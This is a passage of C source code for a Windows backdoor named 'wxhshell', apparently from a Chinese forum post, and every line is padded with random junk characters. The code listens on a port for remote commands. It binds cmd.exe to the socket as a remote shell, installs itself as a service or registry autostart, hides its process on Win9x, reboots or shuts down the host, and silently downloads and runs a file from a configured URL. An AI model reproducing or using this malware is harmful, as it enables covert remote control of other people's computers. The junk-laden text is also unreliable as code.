  else wGzXp5 dl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,rFLpQl  
  } |<3Q+EB^  
  else { K;y\[2;}e,  
b6!Q!:GO&  
    switch(cmd[0]) { J4Z<Yt/  
  k[ffs}  
  // 帮助 :qCm71*  
  case '?': { (2S!$w%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }8V;s-1  
    break; H]i+o6  
  } Iz?W tm }  
  // 安装 s/G5wRl<  
  case 'i': { {`K]sa7`  
    if(Install()) [wy3Ld  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m>uI\OY{n  
    else Tc3ih~LvG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z<[.MH`ln  
    break; <S8I"8{Mb  
    } *M5$ h*;v  
  // 卸载 2>MP:yY;K  
  case 'r': { Eo { 1y  
    if(Uninstall()) XuFm4DEJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }U?gKlLg  
    else p21=$?k!;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @%G'U&R{  
    break; D2TXOPH  
    } SJ@8[n.x  
  // 显示 wxhshell 所在路径 yToT7 X7F7  
  case 'p': { Xw*%3'  
    char svExeFile[MAX_PATH]; ;ad9{":J#B  
    strcpy(svExeFile,"\n\r"); 4('0f:9z+  
      strcat(svExeFile,ExeFile); GwMUIevO_  
        send(wsh,svExeFile,strlen(svExeFile),0); .}$`+h8W T  
    break; +2V%'{:  
    } \}u7T[R=`  
  // 重启 Owh*KY:  
  case 'b': { Q_dXRBv=n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9!O+Ryy?\  
    if(Boot(REBOOT)) KF:]4`$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z6FbM^;;  
    else { 'TK$ndy;7}  
    closesocket(wsh); KM_)7?`  
    ExitThread(0); []=FZ`4  
    } } Jdh^t.  
    break; (!_X:+0_  
    } 1&8j3"  
  // 关机 l${Hgn+  
  case 'd': { h=v[i!U-eY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [NCXn>Z  
    if(Boot(SHUTDOWN)) %;=IMMK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Imh2~rw;  
    else { }"&n[/8~  
    closesocket(wsh); f*|8n$%   
    ExitThread(0); %)<oX9E  
    } OUlxeo/  
    break; I*+LJy;j  
    } )I Y 5Y  
  // 获取shell uHUvntr  
  case 's': { fw:7Q7 qo  
    CmdShell(wsh); 2rR@2Vsw2  
    closesocket(wsh); B7Ki @)  
    ExitThread(0); ]|C_`,ux  
    break; oN&rq6eN  
  } o7c%\v[  
  // 退出 P EX26==  
  case 'x': { _q$0lqq~u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %2@ Tj}xa  
    CloseIt(wsh); |z!q r}i  
    break; Q QsVIHA  
    } wL8bs- U  
  // 离开 (1kn):  
  case 'q': { 'uP'P#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (opROsFh  
    closesocket(wsh); .KiPNTh'  
    WSACleanup(); B%%.@[o,  
    exit(1); <?> I\  
    break; ny!lj a5[  
        } SQdz EF  
  } z`86-Ov  
  } X \b}jo^96  
a<57(Sf  
  // 提示信息 @MN}^umx`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;e#>n!<u  
} *tTP8ZCQ[  
  } `G"|MM>P  
(B>yaM#5  
  return; p~Yy"Ec;p  
} hb /8Q  
h"VpQhi  
// shell模块句柄 dAYI DE  
int CmdShell(SOCKET sock) 'WKu0Yi^'  
{ "B|nhd  
STARTUPINFO si; dxzvPgi?  
ZeroMemory(&si,sizeof(si)); S F&M (=w<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p<of<YU)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ESC  
PROCESS_INFORMATION ProcessInfo; ql{^"8x  
char cmdline[]="cmd"; RJtix uvh@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8FO1`%8Oe  
  return 0; $Q`yNEc  
} -,K*~ z.l  
4 o3)*  
// 自身启动模式 6T^N!3p_  
int StartFromService(void) )^jQkfL  
{ =,&u_>Dp  
typedef struct G]L0eV  
{ ) >>u|#@z  
  DWORD ExitStatus; 92P ,:2`a  
  DWORD PebBaseAddress; VRtbHam  
  DWORD AffinityMask; &%|xc{i  
  DWORD BasePriority; i;[h 9=\/  
  ULONG UniqueProcessId; R7E]*:0}  
  ULONG InheritedFromUniqueProcessId; XsAY4WTS  
}   PROCESS_BASIC_INFORMATION; f0-RhR  
&q ," !:L]  
PROCNTQSIP NtQueryInformationProcess; >QYh}Z- /%  
r\A@&5#q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5S&aI{;9<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q Axf5  
L]c 8d   
  HANDLE             hProcess; uHfhRc9  
  PROCESS_BASIC_INFORMATION pbi; lSZ"y Q+  
+ $k07mb\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4u3 \xR?w6  
  if(NULL == hInst ) return 0; 2^ zg0!z  
7^kH8qJ)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RtW4 n:c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $?H]S]#|}.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M?E9N{t8)a  
_Ct}%-,4  
  if (!NtQueryInformationProcess) return 0; 06PhrPVa!\  
98D{{j92  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X?KGb{  
  if(!hProcess) return 0; Y h^WTysBn  
2B6^ ]pSk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EG F:xl  
9|J8]m?x  
  CloseHandle(hProcess); kA1RfSS  
pWMiCXnW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D"`%|`O  
if(hProcess==NULL) return 0; -6u H.  
3cmbK  
HMODULE hMod; 5|yZEwq  
char procName[255]; !Bag}|#  
unsigned long cbNeeded; ot-(4Y  
 Vil@?Y"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <$"7~i /X  
lKf Mp1  
  CloseHandle(hProcess); @)  
 ]a78tTi  
if(strstr(procName,"services")) return 1; // 以服务启动 Sv.KI{;v$  
\z2vV +f  
  return 0; // 注册表启动 M#=Y~PU  
} fy9uLl}h  
vad|Rpl  
// 主模块 Zn?8\  
int StartWxhshell(LPSTR lpCmdLine) "EJ\]S]$X  
{ OZ eiH X!  
  SOCKET wsl; 8r2XGR  
BOOL val=TRUE;  UP\8w#~  
  int port=0; {;U}:Dx  
  struct sockaddr_in door; w+Ad$4Pf"  
G"}qV%"6"  
  if(wscfg.ws_autoins) Install(); -s{R/6 :  
[Dnusp7e  
port=atoi(lpCmdLine); (&q@~ dJ  
aLV~|$: 2  
if(port<=0) port=wscfg.ws_port; [fd~nD#.  
}'u3U"9)  
  WSADATA data; |__d 8a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HTxB=Q|  
O:2 #_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tsu\oJ[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7}gA0fP9  
  door.sin_family = AF_INET; !>\9t9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;F|jG}M"  
  door.sin_port = htons(port); t9ER;.e  
SO7(K5H,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fv:L\N1u  
closesocket(wsl); 3)dP7rmZ  
return 1; sc<kiL  
} ,&0Z]*  
5@K\c6   
  if(listen(wsl,2) == INVALID_SOCKET) { X z8$Xz,O  
closesocket(wsl); K/DH / r  
return 1; [qSQ#Qzi2i  
} RTA%hCr!  
  Wxhshell(wsl); MdLj,1_T  
  WSACleanup(); R j-jAH  
m^ z,,t9  
return 0;  /; +oz  
`Rrr>vj  
} 0"hiCGm'  
Ec+22X  
// 以NT服务方式启动 ?.8<-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DQcWq'yY^  
{ 0(\p<qq  
DWORD   status = 0; ohtT O]\  
  DWORD   specificError = 0xfffffff; D^$]>-^  
S=4R5igrC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V_jiOT!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,dOMW+{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v Xc!Zg~  
  serviceStatus.dwWin32ExitCode     = 0; /=bSt  
  serviceStatus.dwServiceSpecificExitCode = 0; cY{I:MA+h@  
  serviceStatus.dwCheckPoint       = 0; Q^nG0<q+  
  serviceStatus.dwWaitHint       = 0; [@g~  
}lH;[+u3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c$/<l5Uw  
  if (hServiceStatusHandle==0) return; {JTmP`&l  
>)4.$#H  
status = GetLastError(); )4PB<[u  
  if (status!=NO_ERROR) V w7WK  
{ B+|IZoR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2f `&WUe  
    serviceStatus.dwCheckPoint       = 0; f KHse$?_  
    serviceStatus.dwWaitHint       = 0; M' YJ"  
    serviceStatus.dwWin32ExitCode     = status; iFSJ4 W(  
    serviceStatus.dwServiceSpecificExitCode = specificError; a"k'm}hVY$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u9BjgK(M  
    return; f0OgK<.>T  
  } 'w:bs!  
*aI~W^N3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3XnE y +  
  serviceStatus.dwCheckPoint       = 0; # 9V'';:  
  serviceStatus.dwWaitHint       = 0; RTZ:U@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q~8y4=|#CY  
} hc"6u\>  
&eU3(F`.  
// 处理NT服务事件,比如:启动、停止 f P+QxOz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `6UtxJSx  
{ W5 |j1He&  
switch(fdwControl)  C[R`Ml  
{ +eC3?B8rN  
case SERVICE_CONTROL_STOP: uC)Zs, _5  
  serviceStatus.dwWin32ExitCode = 0; zqY)dk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mLQUcYfR  
  serviceStatus.dwCheckPoint   = 0; (NPxab8e*  
  serviceStatus.dwWaitHint     = 0; @FU~1u3d  
  { CPVmF$A-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #sS9vv7i  
  } /;7ID41  
  return; ]?M)NRk%S  
case SERVICE_CONTROL_PAUSE: .5 ]{M\aA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4'` C1a  
  break; jK e.gA  
case SERVICE_CONTROL_CONTINUE: _%;M9Sg3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3hLqAj  
  break; 72u db^  
case SERVICE_CONTROL_INTERROGATE: v:?o3 S  
  break; 9Eu #lV  
}; sLZ>v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8sH50jeP  
} {79qtq%W{  
* O5:  
// 标准应用程序主函数 l!/!?^8|f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (m/aV  
{ 4 ]sCr+   
&/iFnYVhy  
// 获取操作系统版本 Z~_8P  
OsIsNt=GetOsVer(); g9`[Y~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YQ+^  
-( (Z@T1k  
  // 从命令行安装 O <>#>[  
  if(strpbrk(lpCmdLine,"iI")) Install(); vkuc8 li  
m!0N"AjA  
  // 下载执行文件 b#A(*a_gN  
if(wscfg.ws_downexe) { Qne0kB5m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IyOpju)?  
  WinExec(wscfg.ws_filenam,SW_HIDE); IKo;9|2U  
} UDM yyVd  
4j{oaey  
if(!OsIsNt) { y #69|G  
// 如果时win9x,隐藏进程并且设置为注册表启动 <>n9'i1  
HideProc(); qrpb[)Ll  
StartWxhshell(lpCmdLine); \1]rlzXGUT  
} &u=8r*  
else BW>5?0E[4(  
  if(StartFromService()) SD^E7W$?  
  // 以服务方式启动 "9%q bM B  
  StartServiceCtrlDispatcher(DispatchTable); z,avQR&  
else /,LfA2^_j{  
  // 普通方式启动 o(zTNk5d  
  StartWxhshell(lpCmdLine);  `Klrr  
ODek%0=  
return 0; &>g~-s  
}
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只看该作者 1 发表于: 2006-10-10
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